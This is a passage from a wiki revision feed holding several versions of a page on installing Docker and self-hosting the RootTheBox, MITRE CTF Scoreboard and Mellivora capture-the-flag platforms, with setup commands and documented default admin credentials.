[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
== RootTheBox ==&lt;br /&gt;
&lt;br /&gt;
Hackers can practice and learn using Root the Box, a real-time capture the flag (CTF) scoring system for computer wargames. Any CTF-style game may be easily configured and adjusted using the application. By fusing a fun game-like atmosphere with practical tasks that communicate knowledge applicable to the real-world, such as penetration testing, incident response, digital forensics, and threat hunting, the platform enables you to engage both inexperienced and experienced players.&lt;br /&gt;
RootTheBox is installed with Docker and the according plugin &#039;docker-compose&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
These steps are for production deployments using [https://docs.docker.com/compose/ docker-compose].&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/moloch--/RootTheBox.git&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd RootTheBox&lt;br /&gt;
&lt;br /&gt;
Update the repository:&lt;br /&gt;
 git pull&lt;br /&gt;
 docker-compose build&lt;br /&gt;
&lt;br /&gt;
Start the container:&lt;br /&gt;
 docker-compose up -d&lt;br /&gt;
&lt;br /&gt;
The software is now be accessible via &#039;https://&amp;lt;ip address of docker container&amp;gt;:8888&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Access Admin Dashboard ===&lt;br /&gt;
&lt;br /&gt;
RootTheBox enables Users to access an admin dashboard, which enables them to configure the platform to their need.&lt;br /&gt;
Usually, when just installed, the credentials for the admin user are the following:&lt;br /&gt;
 admin&lt;br /&gt;
 rootthebox&lt;br /&gt;
&lt;br /&gt;
Always make sure to change the password of your admin account before you start hosting the platform in production!&lt;/div&gt;</summary>
		<author><name>GMathaisl</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11665</id>
		<title>Host CTF Platforms with Docker</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11665"/>
		<updated>2023-07-04T08:26:44Z</updated>

		<summary type="html">&lt;p&gt;GMathaisl: /* Create an Admin User */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
In the world, there are many different types of platforms to learn and compete in so called Capture The Flags (CTFs). While the possibilities to host our own CTF platform in the cloud are nearly endless, there are also open-source variants which can be hosted with Docker or on-premise. These types of platforms are often preferred, since they do not cost any money and also one can learn many things about the hosting machine, the used technologies and about the platform itself.&lt;br /&gt;
This Article focuses on two open-source platforms and shows how to host them in a dockerized environment.&lt;br /&gt;
&lt;br /&gt;
== System Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
** Windows 8 or higher&lt;br /&gt;
** Ubuntu Linux 20.04 LTS or higher&lt;br /&gt;
** macOS 10.14 or higher&lt;br /&gt;
** Or any other OS which support Docker&lt;br /&gt;
* Docker Engine &amp;gt;= 20.10&lt;br /&gt;
** optional: Docker Desktop&lt;br /&gt;
* Ruby&lt;br /&gt;
* Internet Browser of any type&lt;br /&gt;
* GIT&lt;br /&gt;
&lt;br /&gt;
== Docker Setup ==&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
First, uninstall any conflicting packages:&lt;br /&gt;
 for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done&lt;br /&gt;
&lt;br /&gt;
Then update the apt package index:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install ca-certificates curl gnupg&lt;br /&gt;
&lt;br /&gt;
After that, install the official GPG keys:&lt;br /&gt;
 sudo install -m 0755 -d /etc/apt/keyrings&lt;br /&gt;
 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg&lt;br /&gt;
 sudo chmod a+r /etc/apt/keyrings/docker.gpg&lt;br /&gt;
&lt;br /&gt;
When that&#039;s done, setup the repository:&lt;br /&gt;
 echo \&lt;br /&gt;
  &amp;quot;deb [arch=&amp;quot;$(dpkg --print-architecture)&amp;quot; signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \&lt;br /&gt;
  &amp;quot;$(. /etc/os-release &amp;amp;&amp;amp; echo &amp;quot;$VERSION_CODENAME&amp;quot;)&amp;quot; stable&amp;quot; | \&lt;br /&gt;
  sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null&lt;br /&gt;
&lt;br /&gt;
Then install the Docker Engine with the latest version:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin&lt;br /&gt;
&lt;br /&gt;
=== Verification ===&lt;br /&gt;
&lt;br /&gt;
After the installation, verify that the Docker Engine was installed successfully:&lt;br /&gt;
 sudo docker run hello-world&lt;br /&gt;
&lt;br /&gt;
== MITRE CTF Scoreboard ==&lt;br /&gt;
&lt;br /&gt;
The MITRE CTF Scoreboard is an open-source application developed by the MITRE Cyber Academy and focuses on hosting Capture The Flags in safe environments for learning, practicing and competing. It offers a wide variety of functionality, including authentication and authorization of individuals, the creation and management of teams, management of competitions and their including challenges, and much more.&lt;br /&gt;
MITRE CTF Scoreboard is installed with Docker and the according plugin &#039;docker-compose&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
These steps are for production deployments using [https://docs.docker.com/compose/ docker-compose].&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/mitre-cyber-academy/ctf-scoreboard.git&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd ctf-scoreboard&lt;br /&gt;
&lt;br /&gt;
After that, generate your credentials:&lt;br /&gt;
 ./setup-docker-secrets.sh&lt;br /&gt;
&lt;br /&gt;
Then run scoreboard database setup:&lt;br /&gt;
 docker-compose run web rails db:initial_setup&lt;br /&gt;
&lt;br /&gt;
Add appropriate [https://github.com/mitre-cyber-academy/ctf-scoreboard/wiki/Production-Installation#Environment-Configuration Environment Variables] into your `.env-prod` file for your environment.&lt;br /&gt;
Add NGINX_HOST to the &#039;.env&#039; file for your environment&lt;br /&gt;
 NGINX_HOST=your-scoreboard-domain.com&lt;br /&gt;
&lt;br /&gt;
Start the container:&lt;br /&gt;
 docker-compose up -d&lt;br /&gt;
&lt;br /&gt;
The software is now be accessible via &#039;https://&amp;lt;ip address of docker container&amp;gt;&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Create an Admin User ===&lt;br /&gt;
After the initial installation, navigate with yout browser to &#039;https://&amp;lt;ip address of docker container&amp;gt;&#039;. This will prompt you a registration mask, on which you can create your Admin User - the following page may differ from the actual &#039;Admin Registration&#039; page.&lt;br /&gt;
&lt;br /&gt;
[[File:CreatUserCTFMitre.png|500px]]&lt;br /&gt;
&lt;br /&gt;
== MELLIVORA ==&lt;br /&gt;
&lt;br /&gt;
Mellivora Capture the Flag (CTF) platform is a comprehensive and dynamic online platform designed for hosting and participating in cybersecurity Capture the Flag competitions. Developed with the aim of enhancing practical cybersecurity skills, Mellivora CTF offers a robust and challenging environment for individuals and teams to engage in offensive and defensive cybersecurity exercises. The platform provides a feature-rich and intuitive interface, making it accessible to both beginners and experienced cybersecurity enthusiasts. It offers a wide range of challenges across various categories, including cryptography, web exploitation, reverse engineering, forensics, and more. These challenges are designed to mimic real-world scenarios, allowing participants to develop and apply their technical skills in a safe and controlled environment.&lt;br /&gt;
Mellivora CTF emphasizes collaboration and learning by fostering a competitive and engaging atmosphere. Participants can form teams and compete against others, leveraging their collective expertise to solve complex challenges and earn points. The platform offers a scoring system that rewards both speed and accuracy, encouraging participants to strategize, communicate effectively, and think critically to maximize their score. One notable aspect of Mellivora CTF is its flexibility and extensibility. The platform supports custom challenge creation, allowing organizers to tailor the competition to their specific needs and objectives. Additionally, Mellivora CTF provides a comprehensive administrative dashboard that enables organizers to manage competitions, track progress, and analyze performance metrics in real-time.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
Mellivora is easy to use with docker-compose. Mellivora comes with an included docker-compose configuration intended for development use. If you&#039;re looking to run Mellivora using Docker(-compose) in production, a good place to start might be to copy the provided docker-compose config and changing it to suit your needs.&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/Nakiami/mellivora&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd mellivora&lt;br /&gt;
&lt;br /&gt;
After that, run following command:&lt;br /&gt;
 docker-compose -f docker-compose.dev.yml up&lt;br /&gt;
&lt;br /&gt;
in the Mellivora home directory to give Apache the permissions necessary for challenge file upload and caching run following command:&lt;br /&gt;
 sudo chown -R www-data:www-data writable/&lt;br /&gt;
&lt;br /&gt;
=== Create an admin user: ===&lt;br /&gt;
* Visit http://localhost/ which should now display the Mellivora landing page.&lt;br /&gt;
* Register a new user. You will probably get an error about emails not working. The user is created and functional despite the error.&lt;br /&gt;
* Go to http://localhost:18080 where Adminer should be running (assuming you&#039;re running in dev mode). Log in with&lt;br /&gt;
&lt;br /&gt;
 Server: db&lt;br /&gt;
 Username: root&lt;br /&gt;
 Password: password&lt;br /&gt;
 Database: mellivora&lt;br /&gt;
&lt;br /&gt;
To make your user an administrator, go to &amp;quot;SQL command&amp;quot; in the menu and run:&lt;br /&gt;
 UPDATE users SET class = 100 WHERE id = 1;&lt;br /&gt;
&lt;br /&gt;
Log in at http://localhost/. Done!&lt;br /&gt;
&lt;br /&gt;
=== Tips ===&lt;br /&gt;
* The dev docker-compose profile mounts to use files directly from the host. Making changes to files on disk will result in changes to the running instance without rebuilding the container.&lt;br /&gt;
* If you are making changes to composer requirements, you will need to delete/rebuild the docker image composerdependencies.&lt;br /&gt;
* Call docker-compose -f docker-compose.dev.yml up --build to rebuild and start.&lt;br /&gt;
* Copy include/config/config.default.inc.php to include/config/config.inc.php to make your configuration changes.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://docs.docker.com/&lt;br /&gt;
* https://github.com/mitre-cyber-academy/ctf-scoreboard&lt;br /&gt;
* https://github.com/Nakiami/mellivora&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>GMathaisl</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11664</id>
		<title>Host CTF Platforms with Docker</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11664"/>
		<updated>2023-07-04T08:25:48Z</updated>

		<summary type="html">&lt;p&gt;GMathaisl: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
In the world, there are many different types of platforms to learn and compete in so called Capture The Flags (CTFs). While the possibilities to host our own CTF platform in the cloud are nearly endless, there are also open-source variants which can be hosted with Docker or on-premise. These types of platforms are often preferred, since they do not cost any money and also one can learn many things about the hosting machine, the used technologies and about the platform itself.&lt;br /&gt;
This Article focuses on two open-source platforms and shows how to host them in a dockerized environment.&lt;br /&gt;
&lt;br /&gt;
== System Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
** Windows 8 or higher&lt;br /&gt;
** Ubuntu Linux 20.04 LTS or higher&lt;br /&gt;
** macOS 10.14 or higher&lt;br /&gt;
** Or any other OS which support Docker&lt;br /&gt;
* Docker Engine &amp;gt;= 20.10&lt;br /&gt;
** optional: Docker Desktop&lt;br /&gt;
* Ruby&lt;br /&gt;
* Internet Browser of any type&lt;br /&gt;
* GIT&lt;br /&gt;
&lt;br /&gt;
== Docker Setup ==&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
First, uninstall any conflicting packages:&lt;br /&gt;
 for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done&lt;br /&gt;
&lt;br /&gt;
Then update the apt package index:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install ca-certificates curl gnupg&lt;br /&gt;
&lt;br /&gt;
After that, install the official GPG keys:&lt;br /&gt;
 sudo install -m 0755 -d /etc/apt/keyrings&lt;br /&gt;
 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg&lt;br /&gt;
 sudo chmod a+r /etc/apt/keyrings/docker.gpg&lt;br /&gt;
&lt;br /&gt;
When that&#039;s done, setup the repository:&lt;br /&gt;
 echo \&lt;br /&gt;
  &amp;quot;deb [arch=&amp;quot;$(dpkg --print-architecture)&amp;quot; signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \&lt;br /&gt;
  &amp;quot;$(. /etc/os-release &amp;amp;&amp;amp; echo &amp;quot;$VERSION_CODENAME&amp;quot;)&amp;quot; stable&amp;quot; | \&lt;br /&gt;
  sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null&lt;br /&gt;
&lt;br /&gt;
Then install the Docker Engine with the latest version:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin&lt;br /&gt;
&lt;br /&gt;
=== Verification ===&lt;br /&gt;
&lt;br /&gt;
After the installation, verify that the Docker Engine was installed successfully:&lt;br /&gt;
 sudo docker run hello-world&lt;br /&gt;
&lt;br /&gt;
== MITRE CTF Scoreboard ==&lt;br /&gt;
&lt;br /&gt;
The MITRE CTF Scoreboard is an open-source application developed by the MITRE Cyber Academy and focuses on hosting Capture The Flags in safe environments for learning, practicing and competing. It offers a wide variety of functionality, including authentication and authorization of individuals, the creation and management of teams, management of competitions and their including challenges, and much more.&lt;br /&gt;
MITRE CTF Scoreboard is installed with Docker and the according plugin &#039;docker-compose&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
These steps are for production deployments using [https://docs.docker.com/compose/ docker-compose].&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/mitre-cyber-academy/ctf-scoreboard.git&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd ctf-scoreboard&lt;br /&gt;
&lt;br /&gt;
After that, generate your credentials:&lt;br /&gt;
 ./setup-docker-secrets.sh&lt;br /&gt;
&lt;br /&gt;
Then run scoreboard database setup:&lt;br /&gt;
 docker-compose run web rails db:initial_setup&lt;br /&gt;
&lt;br /&gt;
Add appropriate [https://github.com/mitre-cyber-academy/ctf-scoreboard/wiki/Production-Installation#Environment-Configuration Environment Variables] into your `.env-prod` file for your environment.&lt;br /&gt;
Add NGINX_HOST to the &#039;.env&#039; file for your environment&lt;br /&gt;
 NGINX_HOST=your-scoreboard-domain.com&lt;br /&gt;
&lt;br /&gt;
Start the container:&lt;br /&gt;
 docker-compose up -d&lt;br /&gt;
&lt;br /&gt;
The software is now be accessible via &#039;https://&amp;lt;ip address of docker container&amp;gt;&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Create an Admin User ===&lt;br /&gt;
After the initial installation, navigate with yout browser to &#039;https://&amp;lt;ip address of docker container&amp;gt;&#039;. This will prompt you a registration mask, on which you can create your Admin User.&lt;br /&gt;
&lt;br /&gt;
[[File:CreatUserCTFMitre.png|500px]]&lt;br /&gt;
&lt;br /&gt;
== MELLIVORA ==&lt;br /&gt;
&lt;br /&gt;
Mellivora Capture the Flag (CTF) platform is a comprehensive and dynamic online platform designed for hosting and participating in cybersecurity Capture the Flag competitions. Developed with the aim of enhancing practical cybersecurity skills, Mellivora CTF offers a robust and challenging environment for individuals and teams to engage in offensive and defensive cybersecurity exercises. The platform provides a feature-rich and intuitive interface, making it accessible to both beginners and experienced cybersecurity enthusiasts. It offers a wide range of challenges across various categories, including cryptography, web exploitation, reverse engineering, forensics, and more. These challenges are designed to mimic real-world scenarios, allowing participants to develop and apply their technical skills in a safe and controlled environment.&lt;br /&gt;
Mellivora CTF emphasizes collaboration and learning by fostering a competitive and engaging atmosphere. Participants can form teams and compete against others, leveraging their collective expertise to solve complex challenges and earn points. The platform offers a scoring system that rewards both speed and accuracy, encouraging participants to strategize, communicate effectively, and think critically to maximize their score. One notable aspect of Mellivora CTF is its flexibility and extensibility. The platform supports custom challenge creation, allowing organizers to tailor the competition to their specific needs and objectives. Additionally, Mellivora CTF provides a comprehensive administrative dashboard that enables organizers to manage competitions, track progress, and analyze performance metrics in real-time.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
Mellivora is easy to use with docker-compose. Mellivora comes with an included docker-compose configuration intended for development use. If you&#039;re looking to run Mellivora using Docker(-compose) in production, a good place to start might be to copy the provided docker-compose config and changing it to suit your needs.&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/Nakiami/mellivora&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd mellivora&lt;br /&gt;
&lt;br /&gt;
After that, run following command:&lt;br /&gt;
 docker-compose -f docker-compose.dev.yml up&lt;br /&gt;
&lt;br /&gt;
in the Mellivora home directory to give Apache the permissions necessary for challenge file upload and caching run following command:&lt;br /&gt;
 sudo chown -R www-data:www-data writable/&lt;br /&gt;
&lt;br /&gt;
=== Create an admin user: ===&lt;br /&gt;
* Visit http://localhost/ which should now display the Mellivora landing page.&lt;br /&gt;
* Register a new user. You will probably get an error about emails not working. The user is created and functional despite the error.&lt;br /&gt;
* Go to http://localhost:18080 where Adminer should be running (assuming you&#039;re running in dev mode). Log in with&lt;br /&gt;
&lt;br /&gt;
 Server: db&lt;br /&gt;
 Username: root&lt;br /&gt;
 Password: password&lt;br /&gt;
 Database: mellivora&lt;br /&gt;
&lt;br /&gt;
To make your user an administrator, go to &amp;quot;SQL command&amp;quot; in the menu and run:&lt;br /&gt;
 UPDATE users SET class = 100 WHERE id = 1;&lt;br /&gt;
&lt;br /&gt;
Log in at http://localhost/. Done!&lt;br /&gt;
&lt;br /&gt;
=== Tips ===&lt;br /&gt;
* The dev docker-compose profile mounts to use files directly from the host. Making changes to files on disk will result in changes to the running instance without rebuilding the container.&lt;br /&gt;
* If you are making changes to composer requirements, you will need to delete/rebuild the docker image composerdependencies.&lt;br /&gt;
* Call docker-compose -f docker-compose.dev.yml up --build to rebuild and start.&lt;br /&gt;
* Copy include/config/config.default.inc.php to include/config/config.inc.php to make your configuration changes.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://docs.docker.com/&lt;br /&gt;
* https://github.com/mitre-cyber-academy/ctf-scoreboard&lt;br /&gt;
* https://github.com/Nakiami/mellivora&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>GMathaisl</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:CreatUserCTFMitre.png&amp;diff=11663</id>
		<title>File:CreatUserCTFMitre.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:CreatUserCTFMitre.png&amp;diff=11663"/>
		<updated>2023-07-04T08:24:07Z</updated>

		<summary type="html">&lt;p&gt;GMathaisl: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>GMathaisl</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11645</id>
		<title>Host CTF Platforms with Docker</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11645"/>
		<updated>2023-07-03T14:24:59Z</updated>

		<summary type="html">&lt;p&gt;GMathaisl: Created page with &amp;quot;== Summary == In the world, there are many different types of platforms to learn and compete in so called Capture The Flags (CTFs). While the possibilities to host our own CTF platform in the cloud are nearly endless, there are also open-source variants which can be hosted with Docker or on-premise. These types of platforms are often preferred, since they do not cost any money and also one can learn many things about the hosting machine, the used technologies and about t...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
In the world, there are many different types of platforms to learn and compete in so called Capture The Flags (CTFs). While the possibilities to host our own CTF platform in the cloud are nearly endless, there are also open-source variants which can be hosted with Docker or on-premise. These types of platforms are often preferred, since they do not cost any money and also one can learn many things about the hosting machine, the used technologies and about the platform itself.&lt;br /&gt;
This Article focuses on two open-source platforms and shows how to host them in a dockerized environment.&lt;br /&gt;
&lt;br /&gt;
== System Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
** Windows 8 or higher&lt;br /&gt;
** Ubuntu Linux 20.04 LTS or higher&lt;br /&gt;
** macOS 10.14 or higher&lt;br /&gt;
** Or any other OS which support Docker&lt;br /&gt;
* Docker Engine &amp;gt;= 20.10&lt;br /&gt;
** optional: Docker Desktop&lt;br /&gt;
* Ruby&lt;br /&gt;
* Internet Browser of any type&lt;br /&gt;
* GIT&lt;br /&gt;
&lt;br /&gt;
== Docker Setup ==&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
First, uninstall any conflicting packages:&lt;br /&gt;
 for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done&lt;br /&gt;
&lt;br /&gt;
Then update the apt package index:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install ca-certificates curl gnupg&lt;br /&gt;
&lt;br /&gt;
After that, install the official GPG keys:&lt;br /&gt;
 sudo install -m 0755 -d /etc/apt/keyrings&lt;br /&gt;
 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg&lt;br /&gt;
 sudo chmod a+r /etc/apt/keyrings/docker.gpg&lt;br /&gt;
&lt;br /&gt;
When that&#039;s done, setup the repository:&lt;br /&gt;
 echo \&lt;br /&gt;
  &amp;quot;deb [arch=&amp;quot;$(dpkg --print-architecture)&amp;quot; signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \&lt;br /&gt;
  &amp;quot;$(. /etc/os-release &amp;amp;&amp;amp; echo &amp;quot;$VERSION_CODENAME&amp;quot;)&amp;quot; stable&amp;quot; | \&lt;br /&gt;
  sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null&lt;br /&gt;
&lt;br /&gt;
Then install the Docker Engine with the latest version:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin&lt;br /&gt;
&lt;br /&gt;
=== Verification ===&lt;br /&gt;
&lt;br /&gt;
After the installation, verify that the Docker Engine was installed successfully:&lt;br /&gt;
 sudo docker run hello-world&lt;br /&gt;
&lt;br /&gt;
== MITRE CTF Scoreboard ==&lt;br /&gt;
&lt;br /&gt;
The MITRE CTF Scoreboard is an open-source application developed by the MITRE Cyber Academy and focuses on hosting Capture The Flags in safe environments for learning, practicing and competing. It offers a wide variety of functionality, including authentication and authorization of individuals, the creation and management of teams, management of competitions and their including challenges, and much more.&lt;br /&gt;
MITRE CTF Scoreboard is installed with Docker and the according plugin &#039;docker-compose&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
These steps are for production deployments using [https://docs.docker.com/compose/ docker-compose].&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/mitre-cyber-academy/ctf-scoreboard.git&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd ctf-scoreboard&lt;br /&gt;
&lt;br /&gt;
After that, generate your credentials:&lt;br /&gt;
 ./setup-docker-secrets.sh&lt;br /&gt;
&lt;br /&gt;
Then run scoreboard database setup:&lt;br /&gt;
 docker-compose run web rails db:initial_setup&lt;br /&gt;
&lt;br /&gt;
Add appropriate [https://github.com/mitre-cyber-academy/ctf-scoreboard/wiki/Production-Installation#Environment-Configuration Environment Variables] into your `.env-prod` file for your environment.&lt;br /&gt;
Add NGINX_HOST to the &#039;.env&#039; file for your environment&lt;br /&gt;
 NGINX_HOST=your-scoreboard-domain.com&lt;br /&gt;
&lt;br /&gt;
Start the container:&lt;br /&gt;
 docker-compose up -d&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://docs.docker.com/&lt;br /&gt;
* https://github.com/mitre-cyber-academy/ctf-scoreboard&lt;br /&gt;
* https://github.com/Nakiami/mellivora&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>GMathaisl</name></author>
	</entry>
</feed>